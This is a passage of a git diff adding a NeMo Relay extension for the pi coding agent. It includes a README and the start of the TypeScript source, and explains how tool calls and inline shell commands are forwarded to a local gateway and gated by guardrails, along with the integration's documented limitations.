capture. The plugin hook schema has no `SessionEnd`; Relay finalizes the cumulative session snapshot at `Stop`. Encrypted Codex multi-agent v2 payloads cannot be decrypted or reliably linked. | +| pi | 0.84.x | Transparent run through a Relay-authored pi extension, 15 forwarded event types covering session, turn, tool and inline-shell activity, tool-call security, inline-shell security, and model-call security when redirection applies | Proof of concept. No Relay-managed install: pi has no plugin marketplace, so `nemo-relay install pi` is unsupported and the extension is installed by the user with `pi install` or a file drop, which does persist. Model traffic is redirected only when the gateway forwards to the endpoint every model of the selected provider would otherwise call, because pi's provider registration is provider-wide; otherwise there are no LLM spans for that model. Seven of pi's 39 built-in providers speak an API the gateway has no route for. Subagents and nested pi processes appear as unrelated sessions. pi ships breaking changes through minor releases, so hook signatures need re-verification after an upgrade; a minor above 0.84.x is accepted but reported as unverified rather than supported. | For installation, diagnostics, and host-specific behavior, refer to [Coding Agent Installation](/nemo-relay-cli/plugin-installation), [Claude -Code](/nemo-relay-cli/claude-code), and [Codex](/nemo-relay-cli/codex). +Code](/nemo-relay-cli/claude-code), [Codex](/nemo-relay-cli/codex), and +[pi](/nemo-relay-cli/pi). Hermes Agent includes NeMo Relay as a native in-process integration. It does not require a separate observability plugin or Relay CLI setup. Hermes Agent diff --git a/examples/rust-native-plugin/README.md b/examples/rust-native-plugin/README.md index 790605ffa..acb0c5b0a 100644 --- a/examples/rust-native-plugin/README.md +++ b/examples/rust-native-plugin/README.md @@ -115,6 +115,11 @@ The example registers the following runtime behavior: Native plugins are not sandboxed. They run in the Relay process and must not unwind across ABI callbacks. +The tool request intercept **adds** keys to a tool's arguments. That is fine in +process, but the pi extension accepts only a rewrite that preserves the argument +shape, so running pi against a gateway with this example enabled blocks every +tool call. See the argument-transform notes in `docs/nemo-relay-cli/pi.mdx`. + Request intercepts do not own an LLM lifecycle because they run before Relay creates the LLM scope. `register_llm_request_intercept` returns one `LlmRequestInterceptOutcome`, whose `pending_marks` Relay emits in interceptor diff --git a/integrations/pi/README.md b/integrations/pi/README.md new file mode 100644 index 000000000..8818e0ad8 --- /dev/null +++ b/integrations/pi/README.md @@ -0,0 +1,480 @@ + + +# NeMo Relay Extension for pi + +A pi extension that forwards pi's lifecycle to the NeMo Relay CLI gateway and +gates tool calls on the gateway's verdict. + +pi has no native hook-configuration file, and its external stream is +observation-only, so hook calls have to originate inside an extension. Unlike +the Codex and Claude Code integrations — which install hook commands the host +runs for them — this extension *is* the hook client. It is deliberately thin: +all policy and all span construction happen in the gateway. + +## Status + +Proof of concept. Verified against pi `v0.84.0`. pi ships breaking changes +through *minor* releases and has no major-release channel, so re-verify hook +signatures before relying on them — `nemo-relay doctor pi` and the launcher both +report a minor above 0.84.x as unverified rather than supported, and accept it +anyway, because untested is not the same as broken. + +**Model traffic is redirected conditionally.** pi has no base-URL flag and no +generic environment override — it resolves `baseUrl` per model from a generated +catalog — so the extension points the active model's provider at the gateway +itself. It only does so when the gateway forwards to the endpoint that +model would otherwise have called; see [Model Redirection](#model-redirection). +When it does not, you get tool and turn activity but no LLM spans. + +## Usage + +Start the gateway, then load the extension: + +```bash +nemo-relay --bind 127.0.0.1:4040 & +NEMO_RELAY_PI_GATEWAY_URL=http://127.0.0.1:4040 \ + pi -e integrations/pi/index.ts +``` + +`pi -e` is trust-ungated, loads before discovery, and survives +`--no-extensions`, which makes it the reliable way to load this. It is also what +`nemo-relay run --agent pi` uses. + +### Where to Install It + +**User scope only**, by either of two routes: + +```bash +# 1 · file drop +cp -r integrations/pi ~/.pi/agent/extensions/nemo-relay + +# 2 · pi install, from a LOCAL PATH -- never with --local +pi install /path/to/NeMo-Relay/integrations/pi +``` + +| Path | Install Here? | Trust-Gated? | +|---|---|---| +| `~/.pi/agent/extensions/` | Yes | No | +| `pi install ` | Yes | No | +| `settings.json` `"extensions": [...]` | Yes | Only the project copy | +| `-e ` | Per-invocation; what the launcher uses | No | +| `.pi/extensions/` or `pi install --local` | **No** | **Yes** | +| `pi install ` | **No** — see below | — | + +Either user-scope route is enough for `nemo-relay run --agent pi`: the launcher +resolves the extension from the same places `nemo-relay doctor pi` looks and +passes what it finds to `-e`, so no environment variable is needed. It never +promotes a **project-scoped** install that way — `-e` is not trust-gated, so +doing so would load code pi itself declined to trust. + +⚠️ **A git URL does not work, and fails silently.** pi has no +subdirectory syntax for a git source: it clones the repository *root*, then looks +there for a `pi` key in `package.json` or a top-level `extensions/` directory. +This extension lives at `integrations/pi`, and the repository root has neither — +so `pi install https://github.com/NVIDIA/NeMo-Relay` reports success, prints an +install path, and loads no extension. Worse than nothing: the clone's root +`skills/` *is* picked up, so you get NeMo Relay's Codex and Claude skills in pi +and none of the gating. + +**This package is deliberately not published to npm.** The file drop and the +local-path install both work and cover user scope; publishing would add an npm +namespace, a build step (the sources are TypeScript that nothing compiles today), +a `files` allowlist and release wiring for a third spelling. It is +`private: true` for that reason, not by oversight — and it carries a +`pi.extensions` manifest key so both working routes resolve explicitly rather +than relying on pi's directory fallback. + +⚠️ **A project-scoped install is silently skipped, and nothing tells you.** pi +adds project extensions to its candidate set only when the project is trusted, +and `-p`, `--mode json` and `--mode rpc` never prompt for trust — so under the +default policy the extension is dropped by a bare conditional. It is not an +error path, so pi does not treat it as a failure and never reports it, and the +extension cannot report it either: by construction it is not running. The +symptom is simply that NeMo Relay appears to do nothing. + +**`nemo-relay doctor pi` is the check for that.** It reports where the extension +sits, whether that path is trust-gated, and whether the gateway is answering: + +```bash +nemo-relay doctor pi +``` + +Run it first whenever Relay does not seem to be doing anything. + +### Environment + +| Variable | Default | Meaning | +|---|---|---| +| `NEMO_RELAY_PI_EXTENSION` | unset | The first place the launcher looks for this extension. Ignored unless the path exists **and** its `package.json` names `nemo-relay-pi`, in which case resolution falls through to a user-scope install. Set by the launcher from what it resolved | +| `NEMO_RELAY_PI_GATEWAY_URL` | `http://127.0.0.1:4040` | Gateway base URL | +| `NEMO_RELAY_PI_TIMEOUT_MS` | `5000` | Per-request timeout. Posts are serialized, so a gating hook also waits out everything queued ahead of it — an unresponsive gateway costs this once per queued post, not once | +| `NEMO_RELAY_PI_FAIL` | `open` | `closed` blocks tool calls and inline shell commands when the gateway is unreachable | +| `NEMO_RELAY_PI_REDIRECT` | `match` | `force` redirects without checking the upstream; `off` disables redirection | +| `NEMO_RELAY_PI_OPENAI_UPSTREAM` | unset | What the gateway forwards OpenAI-compatible traffic to. Set by the launcher | +| `NEMO_RELAY_PI_ANTHROPIC_UPSTREAM` | unset | What the gateway forwards Anthropic traffic to. Set by the launcher | +| `NEMO_RELAY_PROXY_CREDENTIAL` | unset | This invocation's proxy credential, set by `nemo-relay run` for every agent it starts. Sent as `x-nemo-relay-proxy-token` on a redirected provider only — a gateway the launcher started rejects a provider call without it. A standalone `nemo-relay --bind` daemon sets none and needs none | + +## How Tool Gating Works + +For model-invoked tools, `tool_call` is the only pre-execution decision point +that sees arguments — pi's `--tools`, `--exclude-tools`, `--no-tools` and +runtime `setActiveTools` are all applied at tool-registry construction, never +per call. The user's own inline shell takes a different path and is gated +separately; see [Inline Shell](#inline-shell). + +The wire contract, pinned from both sides by tests: + +| Gateway Response | Extension Behavior | +|---|---| +| 2xx | allow | +| 403 with `error.type = "nemo_relay_guardrail_rejected"` | block, using `error.reason` | +| 403 without that marker | fault — an authorization failure is not a policy decision | +| other status, timeout, unreachable | fault, resolved by `NEMO_RELAY_PI_FAIL` | + +The block reason reaches the model **verbatim**: pi hands it to +`createErrorToolResult` with no framing. Write guardrail reasons as guidance, not +as error codes — a reason that says what to do instead produces a model that +adapts rather than one that gives up. + +## Argument Transforms + +A Relay **request intercept** can rewrite a tool's arguments. The gateway never +runs the tool, so the rewrite comes back in the allow response and the extension +applies it to pi's `event.input` **in place** — which is what pi documents as +the mechanism, and is required: pi hands the same object to the tool and to +later handlers, so replacing the reference would be discarded. + +| Response Body | Meaning | +|---|---| +| `{}` | Allow, arguments unchanged. Every non-gated hook, and any `tool_call` no intercept rewrote | +| `{"tool_call": {"tool_call_id": "…", "input": {…}}}` | Allow, but execute *these* arguments | + +`tool_call_id` is **echoed, and checked**: the extension applies a transform only +when the id is a string equal to the call it just posted. An envelope carrying +`input` under a missing, non-string, or different id is refused rather than +applied to whichever call happens to be open — and a refusal blocks, the same as +a shape violation does. + +⚠️ **The rewrite is constrained, not validated.** pi validates arguments +*before* the `tool_call` hook and never re-validates — its own types say "no +re-validation is performed after mutation" — so a rewrite that violates the +tool's schema would execute. + +The extension *could* check it: `pi.getAllTools()` returns every configured +tool — built-ins included — with its TypeBox `parameters` schema. That is +deliberately not used. pi's tool set is per-session mutable (`setActiveTools`, +`registerTool`), so a schema read once can go stale mid-session, and forwarding +it would make the gateway carry pi's tool vocabulary for a check that does not +need it. + +So the extension enforces a **shape** invariant instead: a transform may rewrite +the values of existing keys, preserving each value's JSON type, recursively. +Adding a key, removing a key, changing a type, or changing an array's length is +refused. An argument object that satisfied the schema before therefore still has +the required keys of the required types afterwards. + +**This is structural, not schema validation.** `pattern`, `enum`, `minimum` and +`format` are not checked — by choice, not because the schema is out of reach. A +transform that rewrites a string to one the schema would reject still executes. + +**Nor is it a second policy decision.** The gateway's conditional-execution +guardrails decide on the arguments pi proposed, before the rewrite, and are not +re-run on the result — the same order a managed tool call uses. A request +intercept can therefore rewrite a value a guardrail would have refused. Put the +decision in the guardrail, not in a transform that outruns it. + +A refused transform **blocks the call**, with a reason that says the policy could +not be applied rather than that the request was refused. Running the original +arguments instead would silently discard a policy decision, which is the failure +the transform existed to prevent. This is a different axis from +`NEMO_RELAY_PI_FAIL`, which governs an unreachable gateway rather than one that +answered with something unusable. + +## Inline Shell + +pi's bang prefix runs a command without going through the tool registry: +`!git status` runs it and shows the model the output, `!!git status` runs it and +keeps the output out of the model's context. Neither fires `tool_call`, so none +of the gating above sees them. They reach `user_bash` instead, which this +extension gates the same way — the command is posted to the gateway as a tool +start and the same conditional-execution guardrail chain decides it. + +**The tool name is `user_bash`, not `bash`.** A guardrail receives only the tool +name and the arguments, so if both arrived as `bash` a policy could not tell a +command the user typed from one the model proposed — and "the model may not run +shell commands" is a reasonable rule that should not also stop a human typing +`!git status`. The cost is that **a policy which wants to cover both has to name +both**; a rule written only for `bash` does not gate the bang prefix. + +| Argument | Value | +|---|---| +| `command` | The command text, exactly as typed after the prefix | +| `cwd` | pi's working directory for the command | +| `exclude_from_context` | `true` for the `!!` form, whose output the model never sees | + +### The Refusal Shape + +pi gives `user_bash` no block-and-reason contract — there is no `{block, +reason}` here — so a refusal has to be a **synthetic failed command result**, +which pi records exactly as if the command had run: + +| Field | Value | Why | +|---|---|---| +| `exitCode` | `126` | The shell convention for "found, but could not be executed". Not `0` (reads as success), not `1` (indistinguishable from the command itself failing), not `127` (sends you hunting for a missing binary) | +| `output` | `NeMo Relay blocked this command.` then a blank line, then the reason verbatim | The attribution line says what declined it; the reason is the guardrail's own words, and for `!cmd` the model reads them | +| `cancelled` | `false` | Nothing was started, so nothing was interrupted | +| `truncated` | `false` | The message is whole | + +`NEMO_RELAY_PI_FAIL` governs this path too: a gateway that cannot be reached +allows the command by default, and refuses it under `closed` with a reason that +says explicitly that it is an infrastructure fault rather than a judgment — and +which of four it was: no answer, no answer *in time*, an answer that was not a +decision, or the gate failing before the gateway was asked. A timeout is not an +unreachable gateway, and neither is a 413, so the reader is not sent to debug a +socket that is working. + +**A rewritten command is refused, not run.** pi's `user_bash` result can replace +the *result* or the execution backend, but never the command — both call sites +pass the original text straight on to `executeBash` and read nothing back out of +the event. So a request intercept that rewrites an inline command cannot be +honored, and the command is refused rather than run unmodified, on the same +rule the tool path applies to a transform it cannot apply safely. + +### Limits Worth Knowing + +- **The gate decides; it does not observe.** pi has no completion hook for + inline shell, so on an allow the span closes immediately: it measures the + policy round trip, not the command. Taking execution over to fix that would + mean handing pi custom `operations`, which drops the user's configured shell + path and pi's process-tree cancellation — the extension does not change how pi + runs things. +- **`!!` hides the refusal from the model**, not from the user. The terminal + shows it either way; the model's context does not. +- **The first extension to answer wins**, and there is no priority system. Loaded + with `pi -e` this extension answers first; installed with `pi install` it loads + last, and an extension ahead of it that answers `user_bash` unconditionally — + pi's own `sandbox` and `gondolin` examples do — means the gateway never sees the + command. +- **Where it fires.** The interactive TUI and RPC mode. Headless `-p` has no + input loop to type a bang prefix into, so there is nothing to gate there. +- **The prompt looks frozen while the gate is out.** pi builds the terminal + component *after* the hook resolves, so a slow gateway shows nothing at all + until `NEMO_RELAY_PI_TIMEOUT_MS` expires. Keep that timeout short. + +## Model Redirection + +pi resolves a base URL per model from a generated catalog, so there is no flag or +environment variable to point it at the gateway. The extension does it directly: + +```ts +pi.registerProvider(providerId, { baseUrl: gatewayUrl }); +``` + +With `baseUrl` and no `models`, pi rewrites the URL of every existing model for +that provider and keeps their API, headers, costs and context windows. That is +much cheaper than pi's own `custom-provider-*` examples, which register a +`streamSimple` and re-implement a provider protocol. + +**It is conditional, and the condition is the point.** The gateway forwards to +one statically configured upstream per API family — `--openai-base-url` and +`--anthropic-base-url` — and a client cannot override that per request. So +redirecting is only correct when the gateway's upstream *is* the endpoint the +selected model would otherwise call. Pointing an NVIDIA model at a gateway +configured for `api.openai.com` does not degrade to "no spans"; it breaks the +session. The extension therefore redirects only on a match, and records each +outcome that explains something as a `model_redirect` mark so a trace without LLM +spans accounts for itself. Two transient skips are evaluated but not marked — no +model resolved yet, and a provider already pointed at the gateway — because a +mark per `session_start` for either is noise. + +| Situation | Outcome | +|---|---| +| Gateway upstream equals the model's endpoint | Redirected; LLM spans appear under the turn | +| Gateway forwards somewhere else | Skipped, `upstream-mismatch` | +| Model's API has no gateway route (Bedrock, Azure OpenAI Responses, Google, Google Vertex, Mistral, OpenAI Codex, Radius) | Skipped, `unserviceable-api` | +| Launched outside `nemo-relay run --agent pi`, so the upstream is unknown | Skipped, `unknown-upstream` — set `NEMO_RELAY_PI_REDIRECT=force` to override | +| Another model of the same provider targets an endpoint the gateway does not front | Skipped, `provider-mixed-endpoints` — the registration is provider-wide, so point both upstreams at that provider | + +`nemo-relay run --agent pi` sets the two upstream variables for you. Running pi +by hand against a standalone gateway means setting them yourself, or forcing. + +The decision is re-evaluated on every `model_select`, so switching to a model the +gateway does not front stops redirecting rather than silently misrouting. + +32 of pi's 39 built-in providers speak an API the gateway serves; the seven +above do not. Count from `builtinProviders()` rather than from the 38 files in +`providers/data/`: Radius is a purely dynamic provider with no static catalog +entry, so a file count loses it. + +## Hook Mapping + +pi's lifecycle is `session -> agent run -> turn -> message | tool execution`. +Two shapes make a naive mapping wrong. + +**Agent-run re-entry.** One prompt can re-enter the agent run several times +(provider retry, post-compaction, queued follow-up), and pi's `turnIndex` resets +to 0 each time. The extension-facing `agent_end` carries no `willRetry` marker, +so a retry cannot be detected there — `session_before_compact` is the one hook +that announces one in advance, and only for the compaction case; +`agent_settled` is the only event that fires exactly once per logical run. The +gateway's own model is flat (session -> turn -> tool) and assigns its own +monotonic turn index, so the extension sends `attempt_index` and a +session-monotonic `turn_seq` on every attributable hook — they are the only way +to recover which attempt a turn or tool call belonged to. + +Both travel as payload keys, and the gateway's pi extractor promotes them into +each event's **metadata**. That promotion is not cosmetic: mark events record +the raw payload as their `data`, but tool spans are built from the extracted +call id, name, arguments, result and metadata and discard the payload entirely, +so without it the two keys would be accepted on the wire and then dropped. Read +them from `metadata` on scopes and spans, and from either place on marks. + +The consequence is worth stating plainly: **re-entry is not nested.** The +gateway model stays flat and gains no attempt level, because that model is +shared with Codex and Claude Code, which have no equivalent concept. Two +attempts of one prompt appear as more turns under one session, distinguished by +`attempt_index` — not as two subtrees. + +**Known limitation.** The counters live in the extension factory's closure and +pi re-runs the factory on `/reload` with `moduleCache: false`, while the session +id stays the same. `turn_seq` therefore restarts at 0 and can repeat within one +session — it orders turns within a runtime, not strictly within a session. +Rebuilding it would mean replaying the session or moving the counter into the +gateway; neither is worth it here. + +**Concurrent tools.** pi preflights sibling calls sequentially then executes them +concurrently, so `tool_execution_end` arrives out of submission order. All +per-call state is keyed by `toolCallId`, the only correlator pi provides. + +| pi Hook | Forwarded As | Note | +|---|---|---| +| `session_start` / `session_shutdown` | session boundary | **Not** `agent_start`/`agent_end` — those repeat on re-entry. `session_shutdown` is ignored for `reason: "reload"`, which continues the same session | +| `agent_start` / `agent_end` | run-level marks | Carry `attempt_index`; not a run boundary. Recorded on the session scope, not inside a turn | +| `agent_settled` | run-level mark | Fires exactly once, from a `finally`. Carries `attempts` (the count) and `attempt_index` (the last one) | +| `turn_start` | turn scope **open** | Carries `turn_index`, `turn_seq`, `attempt_index`. Awaited, so the turn exists before pi's model call arrives | +| `turn_end` | turn scope **close** | Carries `turn_index`, `turn_seq`, `attempt_index`. Awaited, for the same reason | +| `session_start`, then every `model_select` | `model_redirect` mark, for each decision that explains something | Synthesized. Re-evaluates redirection for the newly selected model, so a switch away from a provider the gateway fronts stops redirecting | +| *(after a rewrite)* | `tool_arguments_transformed` mark | Synthesized, so the trace records that the arguments the tool ran were not the ones proposed | +| `session_before_compact` | mark | Announced, not done, and cancellable by a later extension. Carries `reason`, `will_retry`, `tokens_before` | +| `session_compact` | compaction | The completed compaction, which the runtime treats as proof the context was rebuilt | +| `tool_call` | tool start, and the gate | The only blocking hook. Carries `attempt_index`, `turn_seq` | +| `tool_execution_end` | tool end | For **every** outcome, including blocked. Carries `attempt_index`, `turn_seq` | +| `tool_execution_start` | *not forwarded* | Registered, but only to remember a tool name for the matching end: it fires before validation and for calls that never execute | +| `user_bash` | tool start, and the second gate | The bang prefix, which never reaches the tool registry. Gated under the tool name `user_bash` — see [Inline Shell](#inline-shell) | +| *(synthesized)* `user_bash_end` | tool end | pi reports no completion for inline shell, so the extension closes the span itself | + +`tool_result` is deliberately unused: it does not fire for blocked calls, and in +the parallel path it fires *before* `tool_execution_end`. + +Because pi reports both ends of a turn, the gateway never invents one for it. A +mark arriving between turns — the `agent_end` / `agent_settled` tail of a run — +is recorded on the session scope rather than opening an empty turn to hold it. +Codex and Claude Code report only `Stop`, so their turns stay lazily opened by +the first event of the turn. + +## What Is Not Represented + +**Tool results are truncated at 2000 characters** before they are forwarded, with +the overflow replaced by a `... [truncated N chars]` suffix. The gateway +therefore records what a tool returned, not necessarily all of it — a large file +read or a long command output is cut. Raise `MAX_CONTENT_CHARS` in `index.ts` if +a policy needs to see more. + +**Tool arguments are not truncated, and must not be.** The `tool_call` post is +the gated one: a guardrail decides on exactly those arguments, and a request +intercept can send a rewritten copy back for pi to execute. Truncating them would +mean deciding on text the tool will not run — and worse, the rewrite that comes +back would carry the truncation, because the shape invariant checks JSON types +and key sets rather than content, so a shortened `content` is applied verbatim +and a `write` lands on disk cut short. A result has no path back into execution, +which is why only results are bounded. + +The ceiling is therefore the gateway's, not the extension's: +`gateway.max_hook_payload_bytes`, 20 MiB by default. A post above it is rejected +with HTTP 413 before any event exists, so the call is decided by +`NEMO_RELAY_PI_FAIL` — under `open` it runs ungated, leaving a span synthesized +from `tool_execution_end` with no arguments. Model-authored arguments do not +approach that ceiling; if some tool ever does, raise the gateway limit rather +than cutting the arguments. + +**Subagents.** pi ships no nested-agent hook of its own — the extension has +nothing to derive a subagent id from — so `subagent_start` / `subagent_end` are +empty for pi and every tool span parents to the turn. The multi-process case is +worth stating separately: a child pi process running this extension resolves its +*own* session id and posts under it, so it does not appear as a subagent of the +parent. It appears as an unrelated session. + +**An authoritative boundary against *later* extensions.** pi runs every +`tool_call` handler unless one returns `block`, and they all share the same +mutable `input` object with no re-validation afterwards. Loaded with `-e` this +gate runs **first**, which is what stops an earlier extension pre-empting it — +but it also means an extension loaded *after* it can rewrite the arguments once +Relay has authorized them, and those arguments execute unreviewed. + +pi offers no ordering API and no post-chain hook, so this cannot be prevented +from inside the extension. **In a mixed extension stack, treat the tool gate as +authoritative over the model, not over the other extensions.** It is sound when +this is the only extension mutating tool arguments, which is the deployment +`nemo-relay run --agent pi` produces. + +**Tool-result policy, on either side.** Relay's only middleware that can change +what a tool *returned* is the execution intercept, which wraps the callback and +therefore owns execution. pi never hands the callback over — it runs the tool in +its own process and reports the outcome — and neither does the gateway, which +builds spans from hook posts rather than executing anything. + +⚠️ Worth stating in full, because it is not pi-specific and it surprises people: +**a tool execution intercept registered by any plugin never runs under the CLI +gateway.** The registry has exactly one consumer, `tool_call_execute`, and the +gateway does not call it — it uses `tool_call` / `tool_call_end`. Guardrails and +request intercepts do run, because those have standalone runners the gateway +calls directly. There is no response-phase equivalent. + +**Anything still queued when the process is interrupted.** pi registers **no +SIGINT handler in any mode** — all three build `["SIGTERM"]` plus SIGHUP off +Windows — and raw mode is set only by the TUI, so under `-p`, `--mode json` and +`--mode rpc` a user's Ctrl+C is a real SIGINT that terminates with teardown +never running. `session_shutdown` never fires, so the queue is never drained. + +The loss is bounded, and the bound is what makes this liveable: **every awaited +hook has already reached the gateway.** Both gates (`tool_call`, `user_bash`) and +both turn boundaries block on their round trip, so an interrupt can only drop +observability marks queued since the last awaited one. The gateway keeps +everything already delivered — an interrupted session is left *open*, not lost. +SIGTERM, SIGHUP and `/quit` all run teardown normally; SIGINT, SIGKILL and an +uncaught exception do not. + +**LLM spans, when redirection is skipped.** They are present whenever the +gateway fronts the endpoint the active model would otherwise have called, and +absent otherwise — the `model_redirect` mark in the trace names which it was and +why. See [Model Redirection](#model-redirection). + +**The outcome of an inline shell command.** pi reports no completion for the bang +prefix, so the gate records the decision, not the command. See +[Inline Shell](#inline-shell). + +## Development + +```bash +npm run typecheck --prefix integrations/pi +node --test integrations/pi/test/*.test.mjs +``` + +The gateway half of the contract is covered in Rust by +`pi_tool_call_hook_rejects_when_conditional_guardrail_blocks`, +`pi_tool_call_hook_allows_when_no_guardrail_objects`, +`pi_user_bash_hook_rejects_when_conditional_guardrail_blocks` and +`pi_user_bash_is_not_gated_by_a_policy_that_names_the_bash_tool` in +`crates/cli/tests/coverage/shared/server_tests.rs`. + +`test/fixtures/reentry-driver.ts` forces exactly one agent-run re-entry through +pi's real queued-follow-up path, for reproducing the colliding-turn-index case. + +## Related + +- CLI agent definition: `crates/cli/src/agents/pi/` +- Hook route: `/hooks/pi` in `crates/cli/src/server/mod.rs` +- Payload classification: `PiPayloadExtractor` in `crates/cli/src/agents/shared/adapters.rs` diff --git a/integrations/pi/index.ts b/integrations/pi/index.ts new file mode 100644 index 000000000..422bc3433 --- /dev/null +++ b/integrations/pi/index.ts @@ -0,0 +1,728 @@ +// SPDX-FileCopyrightText: Copyright (c) 2026, NVIDIA CORPORATION & AFFILIATES. All rights reserved. +// SPDX-License-Identifier: Apache-2.0 + +/** + * NeMo Relay extension for the pi coding agent. + * + * pi has no native hook-configuration file and its external stream is + * observation-only, so hook calls must originate inside an extension. This one + * is a thin HTTP client to the NeMo Relay CLI gateway: it forwards pi's + * lifecycle to `/hooks/pi`, and gates tool calls on the gateway's verdict. + * + * **Governance, on two paths.** For model-invoked tools, `tool_call` is the only + * pre-execution decision point that sees arguments -- `--tools` / + * `--exclude-tools` / `--no-tools` and the runtime `setActiveTools` are applied + * at tool-registry construction, never per call. A gateway guardrail rejection + * arrives as HTTP 403 and is translated into `{block, reason}`; pi hands that + * reason to the model verbatim, so the model reads the guardrail's own words. + * + * The user's own bang-prefixed shell (`!cmd`) never reaches the tool registry, + * so `tool_call` cannot see it. It is gated separately through `user_bash`, + * under its own tool name and with a refusal shaped as a failed command rather + * than as a blocked tool call, because pi gives that hook no reason contract. + * See `src/user-bash.ts`. + * + * **Lifecycle mapping.** Two pi shapes make a naive mapping wrong: + * + * 1. *Agent-run re-entry.* One prompt can re-enter the agent run several times + * (provider retry, post-compaction, queued follow-up), and `turnIndex` resets + * to 0 each time, so turn indices collide within one prompt. The extension + * `agent_end` payload carries no `willRetry` marker, so a retry cannot be + * detected there -- `session_before_compact` is the one hook that announces + * one in advance, and only for the compaction case. `agent_settled` is the + * only event that fires exactly once per logical run. Every attributable + * hook therefore carries an attempt counter and a session-monotonic turn + * sequence, because the gateway's own model is flat (session -> turn -> + * tool) and cannot express the nesting. They travel as payload keys and the + * gateway promotes them into event metadata, which is what makes them + * survive on tool spans. + * 2. *Concurrent tools.* pi preflights sibling calls sequentially then executes + * them concurrently, so `tool_execution_end` arrives out of submission order. + * All per-call state is keyed by `toolCallId`, which is the only correlator + * pi provides. + * + * Load it with `pi -e `, or let `nemo-relay run --agent pi` do it. + * + * **Model redirection.** pi resolves a base URL per model from a generated + * catalog, so the extension points the active model's provider at the gateway + * itself -- but only when the gateway forwards to the endpoint that model would + * otherwise call. See `src/provider-redirect.ts`. + * + * Environment (set by the launcher, overridable by hand): + * - `NEMO_RELAY_PI_GATEWAY_URL` gateway base URL (default `http://127.0.0.1:4040`) + * - `NEMO_RELAY_PI_TIMEOUT_MS` per-request timeout (default 5000) + * - `NEMO_RELAY_PI_FAIL` `closed` to block when the gateway is unreachable + * - `NEMO_RELAY_PI_REDIRECT` `force` to skip the upstream check, `off` to disable + * - `NEMO_RELAY_PI_{OPENAI,ANTHROPIC}_UPSTREAM` what the gateway forwards to + */ +import { + type GatewayConfig, + configFromEnv, + postAndForget, + postHook, + resolveFault, +} from './src/gateway-client.ts'; +import { + applyTransform, + decideTransform, + refusalReason, +} from './src/argument-transform.ts'; +import { + type RedirectConfig, + decideRedirect, + isNotable, + redirectConfigFromEnv, +} from './src/provider-redirect.ts'; +import { + USER_BASH_END_HOOK, + USER_BASH_HOOK, + USER_BASH_TOOL_NAME, + refusalResult, + transformRefusalReason, +} from './src/user-bash.ts'; +import type { + AgentEndEvent, + AgentSettledEvent, + AgentStartEvent, + ExtensionAPI, + ExtensionContext, + ModelSelectEvent, + SessionBeforeCompactEvent, + SessionCompactEvent, + SessionShutdownEvent, + SessionStartEvent, + ToolCallEvent, + ToolCallEventResult, + ToolExecutionEndEvent, + ToolExecutionStartEvent, + TurnEndEvent, + PiModel, + TurnStartEvent, + UserBashEvent, + UserBashEventResult, +} from './src/pi-hook-types.ts'; + +export default function nemoRelayExtension(pi: ExtensionAPI): void { + let config: GatewayConfig | null = null; + + /** Attempt counter within one logical agent run; reset on `agent_settled`. */ + let attemptIndex = 0; + /** Session-monotonic turn counter; pi's own `turnIndex` resets on re-entry. */ + let turnSeq = 0; + /** Tool names by call id, so the end payload can name the tool pi started. */ + const toolNames = new Map(); + /** + * Inline shell commands have no pi-supplied identifier. + * + * `user_bash` carries only the command text, so the gate synthesizes a call + * id to correlate its own start and end. Per runtime rather than globally + * unique, which is all the gateway's tool map needs: it is keyed by call id + * within one session. + */ + let userBashSeq = 0; + + /** + * Serializes every post to the gateway, in hook order. + * + * Firing posts concurrently reorders them: the gateway derives session and + * turn boundaries from arrival order, so a late `agent_start` can land after + * a `turn_start`, and a `session_shutdown` that overtakes an in-flight post + * closes the session and lets the straggler open a second one. Both were + * observed in an acceptance trace before this queue existed. + * + * The chain absorbs failures so one bad post cannot stall the rest, and + * observability hooks still do not block pi -- they are enqueued, not + * awaited. The gating hook does await, which means it also waits for + * anything queued ahead of it; that ordering guarantee is worth the latency, + * because a tool span opened under the wrong turn is simply wrong. + */ + let chain: Promise = Promise.resolve(); + + // Declared as a function rather than a generic arrow: `(...) => ...` in a + // .ts file is ambiguous with JSX, and pi's jiti loader resolves it that way + // and fails to load the extension -- silently, because pi collects extension + // load errors rather than aborting. + function enqueue(job: () => Promise): Promise { + const result = chain.then(job, job); + chain = result.then( + () => undefined, + () => undefined, + ); + return result; + } + + /** + * Resolve configuration lazily. + * + * pi's extension docs are explicit that a factory may run in invocations that + * never start a session, so factories must not open resources. Reading the + * environment is deferred to the first hook instead. + */ + const ensureConfig = (ctx: ExtensionContext): GatewayConfig => { + config ??= configFromEnv(safeSessionId(ctx)); + return config; + }; + + /** Queue an observability-only hook without charging pi's critical path. */ + const emit = (ctx: ExtensionContext, payload: Record): void => { + const active = ensureConfig(ctx); + void enqueue(() => postAndForget(active, payload)); + }; + + /** + * Forward a hook and wait for the gateway to have processed it. + * + * Used only for the two turn boundaries. Everything else the extension sends + * is observability that can settle late, but a turn boundary *defines the + * parent* of whatever comes next -- and model traffic does not travel through + * this queue at all. pi sends model requests to the gateway directly over + * HTTP, so a queued `turn_end` races them: an acceptance trace showed the + * next turn's LLM span opening under the previous turn, because pi's request + * beat our post. Awaiting these two costs two local round trips per turn and + * removes the race, on the same reasoning that already makes `tool_call` + * await -- a span opened under the wrong turn is simply wrong. + */ + const emitOrdered = async ( + ctx: ExtensionContext, + payload: Record, + ): Promise => { + const active = ensureConfig(ctx); + await enqueue(() => postAndForget(active, payload)); + }; + + /** + * The attempt and turn a hook belongs to. + * + * Both counters hold the *next* value -- they are incremented as soon as the + * event that opens their span is forwarded -- so the live attempt and turn + * are one behind. The gateway promotes these two keys out of the payload and + * into event metadata, which is the only reason they survive on tool events: + * tool spans are built from the extracted call id, name, arguments, result + * and metadata, and the raw payload is discarded. + * + * Sent on every hook that can be attributed. Without it, `tool_call` and + * `tool_execution_end` are recoverable to an attempt only by reading + * surrounding events in arrival order, which stops working the moment two + * attempts are in flight. + */ + const attribution = (): { attempt_index: number; turn_seq: number } => ({ + attempt_index: Math.max(0, attemptIndex - 1), + turn_seq: Math.max(0, turnSeq - 1), + }); + + /** Providers already pointed at the gateway, so the redirect is idempotent. */ + const redirectedProviders = new Set(); + /** Session id the current registrations carry, so a replacement can invalidate them. */ + let registeredSessionKey: string | null = null; + let redirect: RedirectConfig | null = null; + /** + * Each provider's catalog as it was *before* we touched it. + * + * Snapshotted on first sight and never refreshed, because that is the whole + * point: once `registerProvider` has run, every model of that provider reports + * the gateway's URL, so re-reading the registry would compare the gateway + * against itself and call any provider safe. + */ + const pristineCatalog = new Map(); + + const siblingsOf = (ctx: ExtensionContext, provider: string): PiModel[] => { + 